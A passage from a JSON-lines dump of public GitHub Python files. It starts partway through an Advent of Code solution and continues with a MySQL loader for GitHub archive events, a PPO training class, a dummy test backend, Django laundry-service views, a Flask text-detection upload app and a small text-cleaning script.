round_1(monkeys):\n for monkey in monkeys:\n monkey.turn_1()\n\ndef round_2(monkeys, test_product):\n for monkey in monkeys:\n monkey.adjust_stress(test_product)\n for monkey in monkeys:\n monkey.turn_2()\n\ndef get_monkey_business(monkeys):\n inspections = []\n for monkey in monkeys:\n inspections.append(monkey.get_inspections())\n inspections.sort()\n return inspections[-1] * inspections[-2]\n\ndef get_test_product(monkeys):\n test_product = 1\n for monkey in monkeys:\n test_product *= monkey.get_test()\n return test_product\n\nif __name__ == \"__main__\":\n monkeys_1 = init_monkeys()\n monkeys_2 = init_monkeys()\n for i in range(20):\n round_1(monkeys_1)\n for i in range(10000):\n round_2(monkeys_2, get_test_product(monkeys_2))\n \n print(\"11.1:\")\n print(get_monkey_business(monkeys_1))\n print(\"\")\n print(\"11.2:\")\n print(get_monkey_business(monkeys_2))","repo_name":"timoKroecker/AdventOfCode","sub_path":"11/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36380597632","text":"#!/usr/bin/env python3\nimport json\nimport gzip\nimport getpass\nimport argparse\nimport mysql.connector\nimport pickle\n\nLENGTHS = {\n \"event_id\" : 30, #length of main id\n \"url\" : 256, #length of any url\n \"login\" : 64, #length of login names\n \"ref\" : 1024, #length of github refs\n \"title\" : 1024, #names of posts, repos, branches, etc.\n}\n\n#Base insertion statement\nINSERT_BASE = (\n \"insert into `%s`\"\n \"(%s)\"\n \"values (%s)\"\n)\n\n#dictionary of table names mapped to tuple containing\n#the schema of the table and an SQL statement that can\n#be parameterized for inserting into the table\nTABLES = {}\n\nTABLES[\"actors\"] = (\n (\n \"`id` int not null,\"\n \"`login` TEXT not null,\"\n \"`gravatar_id` varchar(32),\"\n \"`avatar_url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"`url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"actors\",\n \"`id`, `login`, `gravatar_id`, `avatar_url`, `url`\",\n \"%s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"orgs\"] = (\n (\n \"`id` int not null,\"\n \"`login` TEXT not null,\"\n \"`gravatar_id` varchar(32),\"\n \"`avatar_url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"`url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"orgs\",\n \"`id`, `login`, `gravatar_id`, `avatar_url`, `url`\",\n \"%s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"repos\"] = (\n (\n \"`id` int not null,\"\n \"`name` varchar(\" + str(LENGTHS[\"title\"]) + \") not null,\"\n \"`url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"repos\",\n \"`id`, `name`, `url`\",\n \"%s, %s, %s\"\n )\n)\n\nTABLES[\"events\"] = (\n (\n \"`id` varchar(\" + str(LENGTHS[\"event_id\"]) + \") not null,\"\n \"`type` enum('CreateEvent', 'PushEvent', 'IssuesEvent',\"\n \" 'PullRequestEvent'),\"\n \"`repo` int not null,\"\n \"`actor` int not null,\"\n \"`org` int,\"\n \"`created` datetime not null,\"\n \"foreign key (`repo`) references `repos` (`id`),\"\n \"foreign key (`actor`) references `actors` (`id`),\"\n \"foreign key (`org`) references `org` (`id`),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"events\",\n \"`id`, `type`, `repo`, `actor`, `org`, `created`\",\n \"%s, %s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"create_events\"] = (\n (\n \"`id` varchar(\" + str(LENGTHS[\"event_id\"]) + \") not null,\"\n \"`ref` varchar(\" + str(LENGTHS[\"ref\"]) + \"),\"\n \"`ref_type` enum ('branch', 'repository', 'tag') not null,\"\n \"`master_branch` varchar(\" + str(LENGTHS[\"title\"]) + \"),\"\n \"`description` mediumtext,\"\n \"foreign key (`id`) references `events` (`id`)\"\n ), INSERT_BASE % (\n \"create_events\",\n \"`id`, `ref`, `ref_type`, `master_branch`, `description`\",\n \"%s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"push_events\"] = (\n (\n \"`id` varchar(\" + str(LENGTHS[\"event_id\"]) + \") not null,\"\n \"`push_id` int not null,\"\n \"`ref` varchar(\" + str(LENGTHS[\"ref\"]) + \"),\"\n \"`head` char(40) not null,\"\n \"`before` char(40) not null,\"\n \"`size` int not null,\"\n \"`distinct` int not null,\"\n \"foreign key (`id`) references `events` (`id`),\"\n \"primary key (`push_id`)\"\n ), INSERT_BASE % (\n \"push_events\",\n \"`id`, `push_id`, `ref`, `head`, `before`, `size`, `distinct`\",\n \"%s, %s, %s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"commits\"] = (\n (\n \"`push_id` int not null,\"\n \"`sha` char(40) not null,\"\n \"`author` TEXT,\"\n \"`message` mediumtext,\"\n \"`message_length` int,\"\n \"`url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"foreign key (`push_id`) references `push_events` (`push_id`)\"\n ), INSERT_BASE % (\n \"commits\",\n \"`push_id`, `sha`, `author`, `message`, `message_length`,`url`\",\n \"%s, %s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"issues_events\"] = (\n (\n \"`id` varchar(\" + str(LENGTHS[\"event_id\"]) + \") not null,\"\n \"`action` enum('opened', 'closed', 'reopened',\"\n \" 'assigned', 'unassigned',\"\n \" 'labeled', 'unlabeled',\"\n \" 'milestoned', 'demilestoned',\"\n \" 'edited') not null,\"\n \"`issue_id` int not null,\"\n \"`number` int not null,\"\n \"`title` varchar(\" + str(LENGTHS[\"title\"]) + \"),\"\n \"`url` varchar(\" + str(LENGTHS[\"url\"]) + \"),\"\n \"`user` int not null,\"\n \"`comments` int,\"\n \"`body` mediumtext,\"\n \"foreign key (`id`) references `events` (`id`),\"\n \"foreign key (`user`) references `actors` (`id`),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"issues_events\",\n \"`id`, `action`, `issue_id`, `number`, `title`, `url`, `user`, `comments`, `body`\",\n \"%s, %s, %s, %s, %s, %s, %s, %s, %s\"\n )\n)\n\nTABLES[\"pull_request_events\"] = (\n (\n \"`id` varchar(\" + str(LENGTHS[\"event_id\"]) + \") not null,\"\n \"`action` enum('assigned', 'unassigned',\"\n \" 'review_requested', 'review_request_removed',\"\n \" 'labeled', 'unlabeled',\"\n \" 'opened', 'closed', 'reopened',\"\n \" 'edited') not null,\"\n \"`number` int not null,\"\n \"`request_id` int not null,\"\n \"`title` varchar(\" + str(LENGTHS[\"title\"]) + \"),\"\n \"`body` mediumtext,\"\n \"`merged` bool,\"\n \"`internal_merge` bool,\"\n \"`commits` int,\"\n \"`additions` int,\"\n \"`modifications` int,\"\n \"`deletions` int,\"\n \"foreign key (`id`) references `events` (`id`),\"\n \"primary key (`id`)\"\n ), INSERT_BASE % (\n \"pull_request_events\",\n \"`id`, `action`, `number`, `request_id`, `title`, `body`, `merged`, `internal_merge`, `commits`, `additions`, `modifications`, `deletions`\",\n \"%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s\"\n )\n)\n\n#load events from a .json.gz file\ndef load_json_file(file_name):\n with gzip.open(file_name, \"rb\") as f:\n data_bytes = f.read()\n #files are in bytes. unfortunately\n #python3 json module doesn't support\n #bytes natively until 3.6, so i'm\n #converting to strings\n data_strings = data_bytes.decode(\"utf-8\")\n data = []\n for event in data_strings.split(\"\\n\"):\n #files end in a newline, leading to\n #an empty string\n if event != \"\":\n data.append(json.loads(event))\n return data\n\n#insert event into database\ndef insert_event(cursor, event, repo_hash):\n if repo_hash is not None:\n if not repo_hash.get(str(event[\"repo\"][\"id\"])):\n #ignore this event if it isn't on a repo we\n #are interested in\n return\n event_id = event[\"id\"]\n event_type = event[\"type\"]\n event_org = event.get(\"org\", None)\n event_time = event[\"created_at\"]\n #split payload handling based on event type\n if event_type == \"CreateEvent\":\n _insert_create_event(cursor, event[\"payload\"], event_id)\n elif event_type == \"PushEvent\":\n _insert_push_event(cursor, event[\"payload\"], event_id)\n elif event_type == \"IssuesEvent\":\n _insert_issues_event(cursor, event[\"payload\"], event_id)\n elif event_type == \"PullRequestEvent\":\n _insert_pull_request_event(cursor, event[\"payload\"], event_id)\n else:\n #this event isn't one we care about\n return\n actor_id = _insert_actor(cursor, event[\"actor\"])\n repo_id = _insert_repo(cursor, event[\"repo\"])\n org_id = None\n if event_org is not None:\n org_id = _insert_org(cursor, event_org)\n new_event = (event_id,\n event_type,\n repo_id,\n actor_id,\n org_id,\n event_time.replace(\"T\", \" \").replace(\"Z\", \"\"))\n #cursor.execute(TABLES[\"events\"][1], new_event)\n _execute_insert(cursor, \"events\", new_event)\n\n#inserts a create event into database\ndef _insert_create_event(cursor, payload, event_id):\n ref = payload[\"ref\"]\n ref_type = payload[\"ref_type\"]\n master_branch = payload[\"master_branch\"]\n desc = payload[\"description\"]\n new_create = (event_id,\n ref,\n ref_type,\n master_branch,\n desc)\n _execute_insert(cursor, \"create_events\", new_create)\n\n#inserts a push event into database\ndef _insert_push_event(cursor, payload, event_id):\n push_id = payload[\"push_id\"]\n ref = payload[\"ref\"]\n head = payload[\"head\"]\n before = payload[\"before\"]\n size = payload[\"size\"]\n distinct = payload[\"distinct_size\"]\n new_push = (event_id,\n push_id,\n ref,\n head,\n before,\n size,\n distinct)\n _insert_commits(cursor, payload[\"commits\"], push_id)\n _execute_insert(cursor, \"push_events\", new_push)\n\n#insert issue event into database\ndef _insert_issues_event(cursor, payload, event_id):\n action = payload[\"action\"]\n issue_id = payload[\"issue\"][\"id\"]\n number = payload[\"issue\"][\"number\"]\n title = payload[\"issue\"][\"title\"]\n url = payload[\"issue\"][\"url\"]\n user = payload[\"issue\"][\"user\"][\"id\"]\n comments = payload[\"issue\"][\"comments\"]\n body = payload[\"issue\"][\"body\"]\n new_issue = (event_id,\n action,\n issue_id,\n number,\n title,\n url,\n user,\n comments,\n body)\n _execute_insert(cursor, \"issues_events\", new_issue)\n\n#insert pull request event into database\ndef _insert_pull_request_event(cursor, payload, event_id):\n req = payload[\"pull_request\"]\n \n action = payload[\"action\"]\n number = payload[\"number\"]\n request_id = req[\"id\"]\n title = req[\"title\"]\n body = req[\"body\"]\n merged = req[\"merged\"]\n #somehow, the repo field in the head and base\n #can be null, so we need a check to avoid\n #getting errors\n head_id = req[\"head\"][\"repo\"]\n if head_id is not None:\n head_id = head_id.get(\"id\", None)\n base_id = req[\"base\"][\"repo\"]\n if base_id is not None:\n base_id = base_id.get(\"id\", None)\n commits = req[\"commits\"]\n adds = req[\"additions\"]\n mods = req[\"changed_files\"]\n dels = req[\"deletions\"]\n #propagate NULL thorugh to the final value\n internal = None\n if head_id is not None and base_id is not None:\n internal = (head_id == base_id)\n \n new_request = (event_id,\n action,\n number,\n request_id,\n title,\n body,\n merged,\n internal,\n commits,\n adds,\n mods,\n dels)\n _execute_insert(cursor, \"pull_request_events\", new_request)\n\n#insert actor into database\ndef _insert_actor(cursor, actor):\n actor_id = actor[\"id\"]\n actor_login = actor[\"login\"]\n actor_gravatar = actor[\"gravatar_id\"]\n actor_avatar = actor[\"avatar_url\"]\n actor_url = actor[\"url\"]\n new_actor = (actor_id,\n actor_login,\n actor_gravatar,\n actor_avatar,\n actor_url)\n _execute_insert(cursor, \"actors\", new_actor)\n return actor_id\n\n#insert repo into database\ndef _insert_repo(cursor, repo):\n repo_id = repo[\"id\"]\n repo_name = repo[\"name\"]\n repo_url = repo[\"url\"]\n new_repo = (repo_id,\n repo_name,\n repo_url)\n _execute_insert(cursor, \"repos\", new_repo)\n return repo_id\n\n#insert org into database\ndef _insert_org(cursor, org):\n org_id = org[\"id\"]\n org_login = org[\"login\"]\n org_gravatar = org[\"gravatar_id\"]\n org_avatar = org[\"avatar_url\"]\n org_url = org[\"url\"]\n new_org = (org_id,\n org_login,\n org_gravatar,\n org_avatar,\n org_url)\n _execute_insert(cursor, \"orgs\", new_org)\n return org_id\n\n#insert commits into database\ndef _insert_commits(cursor, commits, push_id):\n for commit in commits:\n sha = commit[\"sha\"]\n author = commit[\"author\"][\"name\"]\n message = commit[\"message\"]\n url = commit[\"url\"]\n new_commit = (push_id,\n sha,\n author,\n message,\n len(message),\n url)\n _execute_insert(cursor, \"commits\", new_commit)\n\n#perform an insert statement to the sepcified table using\n#the params provided. Performs checking for duplicate entries\n#and raises any exceptions that occur\ndef _execute_insert(cursor, table, params):\n statement = TABLES[table][1]\n try:\n cursor.execute(statement, params)\n except mysql.connector.Error as error:\n #duplicate entries are expected, since we're not\n #actually checking beforehand if an entry is already\n #in a table since that will get expensive.\n if error.errno != mysql.connector.errorcode.ER_DUP_ENTRY:\n print(\"Inserting data \", end=\"\")\n print(params, end=\"\")\n print(\" with statement %s failed\" % statement)\n raise\n\n#handle arguments\nparser = argparse.ArgumentParser(description=\"A parser that populates a MySQL database out of the .json.gz archives from githubarchive.org\")\nparser.add_argument(\"-u\", \"--user\", help=\"The username for the MySQL client to use. Defaults to user running this script.\", default=getpass.getuser())\nparser.add_argument(\"-p\", \"--pass\", help=\"Specify that you wish to provide a password for use with the MySQL database connection\", action=\"store_true\", dest=\"passwd\")\nparser.add_argument(\"-r\", \"--repos\", help=\"Specify a pickle file containing a python dictionary of the repo ids you want to consider\", default=None)\nparser.add_argument(\"-d\", \"--database\", help=\"Specify the database name to use\", default=\"datamining\")\nparser.add_argument(\"files\", help=\"The list of gzipped json files to process\", nargs=\"+\")\nargs = parser.parse_args()\n\nrepo_hash = None\nif args.repos:\n with open(args.repos, \"rb\") as f:\n repo_hash = pickle.load(f)\n\n#get password if user requests to use one\npasswd = None\nif args.passwd:\n passwd = getpass.getpass(\"Please enter password:\")\n \n#establish database connection\n#we need to use utf8mb4 to allow 4 byte utf8 encodings (for things like emoji in\n#various user supplied text) since MySQL's utf8 encoding is set at 3 bytes max\ntry:\n ctx = mysql.connector.connect(user=args.user, passwd=passwd, charset=\"utf8mb4\")\nexcept mysql.connector.Error as error:\n print(\"Establishing connection to MySQL server failed: %s\" % error)\n exit(1)\nprint(\"Etablished connection to MySQL server\")\n\n#get cursor for later operations\ncursor = ctx.cursor()\n\n#create database if needed\ntry:\n cursor.execute(\"create database if not exists `%s` default character set 'utf8mb4'\" % args.database)\n ctx.database = args.database\nexcept mysql.connector.Error as error:\n print(\"Creating database failed: %s\" % error)\n cursor.close()\n ctx.close()\n exit(1)\n\n#create tables in databases if needed\ntry:\n #since we can't guarantee what order the tables are in\n #in the TABLES dictionary, we need to make sure that MySQL\n #won't complain about creating foreign keys to tables that\n #don't exist yet\n cursor.execute(\"set foreign_key_checks=0\")\n for name, schema in TABLES.items():\n statement = \"create table if not exists `%s` (%s)\" % (name, schema[0])\n print(statement)\n cursor.execute(statement)\nexcept mysql.connector.Error as error:\n print(\"Creating table failed: %s\" % error)\n cursor.close()\n ctx.close()\n exit(1)\n\n#load each file and add to database\nfor f in args.files:\n print(\"Parsing \" + f + \"...\")\n for event in load_json_file(f):\n try:\n insert_event(cursor, event, repo_hash)\n ctx.commit()\n except mysql.connector.Error as error:\n print(\"Populating database with file %s failed: %s\" % (f, error))\n ctx.rollback()\n cursor.close()\n ctx.close()\n exit(1)\n\n#close our connection\ncursor.close()\nctx.close()\n","repo_name":"stranchetti/CSCI5502","sub_path":"scripts/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":16236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26571025876","text":"#PPO.py\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.distributions import Categorical\nfrom torch.utils.tensorboard import SummaryWriter\nfrom statistics import mean\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport time\nimport dgl\nimport cv2\nimport networkx as nx\n\nfrom actorcritic import ActorCritic, Memory\nfrom constants import CONSTANTS\n\nconst = CONSTANTS()\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\n# Combining the ConvNet, GraphNet, and ActorCritic to perform the policy gradient optimization \n \nclass PPO:\n def __init__(self, env, num_agents):\n self.lr = 0.000002\n self.betas = (0.9, 0.999)\n self.gamma = 0.99\n self.eps_clip = 0.2\n self.K_epochs = 4\n\n self.stack = []\n \n self.num_agents = num_agents\n \n torch.manual_seed(11)\n \n self.policy = ActorCritic(env, self.num_agents).to(device)\n # self.loadModel(filePath='checkpoints/ActorCritic_5600.pt')\n self.optimizer = torch.optim.Adam(self.policy.parameters(), lr=self.lr, betas=self.betas)\n \n # Needed for the clipped objective function\n self.policy_old = ActorCritic(env, self.num_agents).to(device)\n self.policy_old.load_state_dict(self.policy.state_dict())\n\n self.MseLoss = nn.MSELoss()\n # idx = 0\n # while os.path.exists(f\"tf_log/demo_%s\" % const.directory):\n # idx = idx + 1 \n self.sw = SummaryWriter(log_dir=f\"tf_log/demo_%s\" % const.file)\n print(f\"Log Dir: {self.sw.log_dir}\")\n \n def change_num_agents(self, num_agents):\n self.num_agents = num_agents\n self.policy.change_num_agents(num_agents)\n self.policy_old.change_num_agents(num_agents)\n \n def update(self, memory):\n all_rewards = []\n discounted_reward_list = [0] * int(self.num_agents)\n agent_index_list = list(range(self.num_agents)) * int(len(memory.rewards)/self.num_agents)\n for reward, is_terminal, agent_index in zip(reversed(memory.rewards), reversed(memory.is_terminals), reversed(agent_index_list)):\n if is_terminal:\n discounted_reward_list[agent_index] = 0\n discounted_reward_list[agent_index] = reward + (self.gamma * discounted_reward_list[agent_index])\n all_rewards.insert(0, discounted_reward_list[agent_index])\n\n all_rewards = torch.tensor(all_rewards).to(device)\n all_rewards = (all_rewards - all_rewards.mean()) / (all_rewards.std() + 1e-5)\n \n minibatch_sz = self.num_agents * const.len_episode\n \n \n mem_sz = len(memory.states)\n # Optimize policy for K epochs:\n for _ in range(self.K_epochs):\n prev = 0\n for i in range(minibatch_sz, mem_sz+1, minibatch_sz):\n mini_old_states = memory.states[prev:i]\n mini_old_actions = memory.actions[prev:i]\n mini_old_logprobs = memory.logprobs[prev:i]\n mini_rewards = all_rewards[prev:i]\n \n # Convert list to tensor\n old_states = torch.stack(mini_old_states).to(device).detach()\n old_actions = torch.stack(mini_old_actions).to(device).detach()\n old_logprobs = torch.stack(mini_old_logprobs).to(device).detach()\n\n rewards = mini_rewards #torch.from_numpy(mini_rewards).float().to(device)\n \n prev = i\n # Evaluating old actions and values :\n logprobs, state_values, dist_entropy = self.policy.evaluate(old_states, old_actions)\n \n # Finding the ratio (pi_theta / pi_theta__old):\n ratios = torch.exp(logprobs - old_logprobs.detach())\n \n # Finding Surrogate Loss:\n advantages = (rewards - state_values.detach()).view(-1,1)\n \n surr1 = ratios * advantages\n surr2 = torch.clamp(ratios, 1-self.eps_clip, 1+self.eps_clip) * advantages\n loss = -torch.min(surr1, surr2).mean() + 0.5 * self.MseLoss(state_values, rewards) - 0.01 * dist_entropy.mean()\n\n # Take gradient step\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n \n # Copy new weights into old policy:\n self.policy_old.load_state_dict(self.policy.state_dict())\n return \n \n def formatInput(self, states):\n out = []\n for i in range(len(states[2])):\n temp = [states[2][i],states[3][i]]\n out.append(temp)\n return np.array(out)\n \n def summaryWriter_showNetwork(self, curr_state):\n X = torch.tensor(list(curr_state)).to(self.device)\n self.sw.add_graph(self.model, X, False)\n \n def summaryWriter_addMetrics(self, episode, loss, rewardHistory, agent_RwdDict, lenEpisode):\n if loss:\n self.sw.add_scalar('6.att_entropy', loss, episode)\n self.sw.add_scalar('3.Reward', rewardHistory[-1], episode)\n self.sw.add_scalar('5.Episode Length', lenEpisode, episode)\n \n if len(rewardHistory)>=100:\n avg_reward = mean(rewardHistory[-100:])\n else: \n avg_reward = mean(rewardHistory) \n self.sw.add_scalar('1.Average of Last 100 episodes', avg_reward, episode)\n \n for item in agent_RwdDict:\n title ='4.Agent ' + str(item+1)\n if len(agent_RwdDict[item]) >= 100:\n avg_agent_rwd= agent_RwdDict[item][-100:]\n else:\n avg_agent_rwd = agent_RwdDict[item]\n avg_agent_rwd = mean(avg_agent_rwd)\n\n self.sw.add_scalar(title,avg_agent_rwd, len(agent_RwdDict[item])-1)\n \n def summaryWriter_close(self):\n self.sw.close()\n \n def saveModel(self, filePath, per_save=False, episode=0):\n if per_save == False:\n torch.save(self.policy.state_dict(), f\"{filePath}/{self.policy.__class__.__name__}.pt\")\n else:\n torch.save(self.policy.state_dict(), f\"{filePath}/{self.policy.__class__.__name__}_{episode}.pt\")\n \n def loadModel(self, filePath, cpu = 0):\n if cpu == 1:\n self.policy.load_state_dict(torch.load(filePath, map_location=torch.device('cpu')))\n else:\n self.policy.load_state_dict(torch.load(filePath))\n self.policy.eval()","repo_name":"manavmishra96/cooperative-path-planning","sub_path":"PPO.py","file_name":"PPO.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13160189523","text":"import asyncio\nimport time\nfrom typing import List\n\nfrom cilantro.backends.base_event_source import BaseEventSource\nfrom cilantro.backends.base_framework_manager import BaseFrameworkManager\nfrom cilantro.types.events import UtilityUpdateEvent, AppUpdateEvent, EventTypes, AppAddEvent\n\n\nclass DummyEventSource(BaseEventSource):\n def __init__(self, output_queue, sleep_time, app_name='dummy'):\n \"\"\"\n Generates events at a fixed frequency\n :param sleep_time: time to sleep\n \"\"\"\n self.sleep_time = sleep_time\n self.app_name = app_name\n self.last_event_time = time.time()\n super(DummyEventSource, self).__init__(output_queue)\n\n\n async def event_generator(self):\n \"\"\"\n Long running loop that generates events indefinitely\n :return:\n \"\"\"\n while True:\n now = time.time()\n event = UtilityUpdateEvent(app_path=self.app_name, event_end_time=now, event_start_time=self.last_event_time)\n self.last_event_time = now\n await self.output_queue.put(event)\n await asyncio.sleep(self.sleep_time)\n\nclass DummyFrameworkManager(BaseFrameworkManager):\n def __init__(self,\n event_queue: asyncio.Queue,\n default_jobs: List[str],\n cluster_resources: float = 1,\n alloc_granularity: float = 1):\n \"\"\"\n Dummy framework manager for testing without running kubernetes.\n Adds default jobs as AppUpdateEvents at the start to simulate app discovery.\n :param event_queue: Event queue to populate with initial app update events.\n :param cluster_resources: Resource count to return whenever queried\n :param default_jobs: List of jobs to emulate in the start.\n \"\"\"\n self.event_queue = event_queue\n self.default_jobs = default_jobs\n self.cluster_resources = cluster_resources\n self.alloc_granularity = alloc_granularity\n super(DummyFrameworkManager, self).__init__()\n\n self._generate_init_events()\n\n def _generate_init_events(self):\n for j in self.default_jobs:\n e = AppAddEvent(app_path=j,\n app_threshold=1,\n app_weight=1,\n timestamp=time.time(),\n event_type=EventTypes.APP_ADDED)\n self.event_queue.put_nowait(e)\n\n def apply_allocation(self, allocation):\n # Do nothing, just check if the returned keys are valid.\n for j in allocation.keys():\n assert j in self.default_jobs\n\n def get_cluster_resources(self,\n resource_label: str = 'cpu'):\n return self.cluster_resources\n\n def get_alloc_granularity(self,\n resource_label: str = 'cpu'):\n return self.alloc_granularity\n","repo_name":"romilbhardwaj/cilantro","sub_path":"cilantro/backends/test/test_backend.py","file_name":"test_backend.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"78"}
+{"seq_id":"13451333661","text":"from usermodule.models import User\nfrom django.contrib import messages\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom usermodule.decorators import user_is_staff, user_is_owner\nfrom django.utils.timezone import now, timedelta\n\nfrom .forms import *\nfrom .models import *\n\n\n# all user can view service\ndef service_view(request):\n services = Service.objects.all()\n form = ServiceForm(request.POST or None)\n if form.is_valid():\n if request.user.user_type == 1:\n form.save()\n else:\n messages.warning(\n request, 'Staff cannot add a new Service. Only Owner can add new service')\n context = {'form': form, 'services': services}\n return render(request, 'staffmodule/service.html', context=context)\n\n\n@user_is_owner\ndef service_edit(request, id):\n if request.method == \"POST\":\n service = request.POST.get('service')\n if Service.objects.filter(id=id).exists():\n demo = Service.objects.filter(service=service) or None\n if demo is None:\n Service.objects.filter(id=id).update(service=service)\n messages.info(request, 'Service edited successfully!!!')\n else:\n messages.info(request, 'No changes detected..')\n else:\n messages.info(request, 'Couldn\\'t able to find the service')\n return redirect('staffmodule:service')\n else:\n return redirect('homepage')\n\n\n@user_is_owner\ndef service_delete(request, id):\n service = get_object_or_404(Service, id=id)\n service.delete()\n messages.success(request, 'Deleted successfully!!!')\n return redirect('staffmodule:service')\n\n\n# all user can view Subservice\ndef sub_service_view(request, id):\n sub_service = Subservice.objects.filter(service=id)\n form = SubServiceForm(request.POST or None)\n if form.is_valid():\n if request.user.user_type == 1:\n form_obj = form.save(commit=False)\n form_obj.service = Service.objects.get(id=id)\n form_obj.save()\n else:\n messages.warning(\n request, 'Staff cannot add a new Service. Only Owner can add new service')\n context = {'form': form, 'sub_service': sub_service}\n return render(request, 'staffmodule/sub_service.html', context=context)\n\n\n@user_is_owner\ndef sub_service_edit(request, id):\n if request.method == \"POST\":\n sub_service = request.POST.get('sub_service')\n price = request.POST.get('price')\n if Subservice.objects.filter(id=id).exists():\n demo = Subservice.objects.filter(\n sub_service=sub_service, id=id) or None\n prices = Subservice.objects.filter(price=price, id=id) or None\n if demo is None or prices is None:\n Subservice.objects.filter(id=id).update(\n sub_service=sub_service)\n Subservice.objects.filter(id=id).update(price=price)\n messages.info(request, 'Subservice edited successfully!!!')\n else:\n messages.info(request, 'No changes detected..')\n else:\n messages.info(request, 'Couldn\\'t able to find the Subservice')\n\n service = Subservice.objects.get(id=id)\n return redirect('staffmodule:subservices', id=service.service_id)\n else:\n return redirect('homepage')\n\n\n@user_is_owner\ndef sub_service_delete(request, id):\n subservice = Subservice.objects.get(id=id)\n subservice.delete()\n messages.success(request, 'Deleted successfully!!!')\n return redirect('staffmodule:subservices', id=subservice.service_id)\n\n\n@user_is_staff\ndef staff_list(request):\n staffs = User.objects.filter(user_type=2)\n return render(request, 'staffmodule/staff_list.html', {'staffs': staffs})\n\n\n@user_is_staff\ndef staff_details(request, id):\n customer = get_object_or_404(User, id=id)\n status_time = (now() - timedelta(hours=24)\n ) < (customer.last_login or (now() - timedelta(hours=24)))\n staff = get_object_or_404(User, id=id)\n context = {'staff': staff, 'status_time': status_time}\n return render(request, 'staffmodule/staff_detail.html', context)\n","repo_name":"Kamaruddheen/laundry-system","sub_path":"Launderland/staffmodule/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"14849727469","text":"from __future__ import division, print_function\n# coding=utf-8\nimport sys\nimport os\nimport glob\nimport re\nimport numpy as np\nimport time \n# Flask utils\nfrom flask import Flask, redirect, url_for, request, render_template\nfrom werkzeug.utils import secure_filename\nfrom gevent.pywsgi import WSGIServer\n# Define a flask app\n\napp = Flask(__name__, static_url_path = \"/static\", static_folder = \"static\")\n\n\nIMAGE_FOLDER = 'static'\nSAVE_FOLDER = 'uploads'\n# app.config['IMAGE_FOLDER'] = IMAGE_FOLDER\n# app.config['SAVE_FOLDER'] = SAVE_FOLDER\n\n\n\ndef text_detection(imgName):\n os.system(f'python3 test.py --trained_model=craft_ic15_20k.pth --test_img=uploads/{imgName} --cuda=False')\n\n\n@app.route('/', methods=['GET','POST'])\ndef index():\n # Main page\n return render_template('index.html')\n\n\n@app.route('/home', methods=['GET','POST'])\ndef home():\n return render_template('index.html')\n\n\n@app.route('/predict', methods=['GET','POST'])\ndef predict():\n\n\n if request.method == \"GET\":\n print(\"GET ME AAGAYE BHAI \")\n\n\n\n if request.method == 'POST':\n # Get the file from post request\n f = request.files['image']\n\n # Save the file to ./uploads\n basepath = os.path.dirname(__file__)\n file_name = secure_filename(f.filename)\n file_path = os.path.join(\"uploads\", file_name)\n f.save(file_path)\n\n # Make prediction\n text_detection(file_name)\n\n\n # output_file_path = os.path.join(app.config[\"IMAGE_FOLDER\"],file_name)\n output_file_path = \"res_\" + file_name.split(\".\")[0] + \".png\"\n print(\"==========================================\")\n \n return render_template(\"show.html\", output_file_path = output_file_path)\n\n return render_template(\"index.html\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"VSMourya/Text-detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"33394278054","text":"#!/usr/bin/python3.6\n\"\"\"\nRemove empty spaces, new lines, etc. in a document, and condense \nit down to easily parsible components\n\"\"\"\nfrom os.path import abspath\n\nraw_doc = input(\"enter full path of document: \")\naw_doc = abspath(str(raw_doc))\nwith open(raw_doc, 'r') as rd:\n all_lines = rd.readlines()\n for line in all_lines:\n # nline = line.replace('\\n', ' ').replace('\\r', '')\n with open('baked.txt', 'w') as b:\n b.write(line.replace('\\n', ' ').replace('\\r', ''))\n","repo_name":"Alanwatts42/str-slicer","sub_path":"str-slicer/slicers/textcrunch.py","file_name":"textcrunch.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
